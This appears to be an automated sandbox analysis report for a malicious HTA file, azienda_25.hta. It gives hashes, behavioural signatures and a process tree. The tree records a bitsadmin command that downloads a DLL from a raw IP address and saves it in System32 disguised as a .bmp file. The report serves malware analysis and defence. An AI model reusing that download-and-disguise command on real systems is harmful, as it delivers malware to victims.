Analysis
- max time kernel
65s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system - submitted
07/02/2023, 10:41
Static task
static1
Behavioral task
behavioral1
Sample
azienda_25.hta
Resource
win7-20221111-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
azienda_25.hta
Resource
win10v2004-20220901-en
5 signatures
150 seconds
General
- Target azienda_25.hta
- Size 6KB
- Sample230207-mq4v2sec8x
- SHA256 a70223a402bd753f82fcf6fb85dcd2a82a1d718e6fe3ae84ca6cc956a02786c5
- MD5 6a933e21ead601f7e56b0e973fc515a2
- SHA1 fa34e413ba6e72769b566df60710198987a37f8c
- SHA512 fe7034a5f97f935efc195aad9be4977291410f06f0e012d8da78cd8f70c3fd24b1e58b61647a0421df6eca85098aaeb3e75a9fc4bff096905ae89a9f828fcadf
- SSDEEP 96:weB2uLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dV96rQ:fRU77rIKdn863jMM0OD9+VVF43xYkuE
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 5 IoCs
flow pid Process 5 5036 mshta.exe 7 5036 mshta.exe 14 5036 mshta.exe 18 5036 mshta.exe 20 5036 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4168 bitsadmin.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 5036 wrote to memory of 4168 5036 mshta.exe 82 PID 5036 wrote to memory of 4168 5036 mshta.exe 82 PID 5036 wrote to memory of 4168 5036 mshta.exe 82
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_25.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://193.0.179.30/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp2⤵
- Download via BitsAdmin
PID:4168
-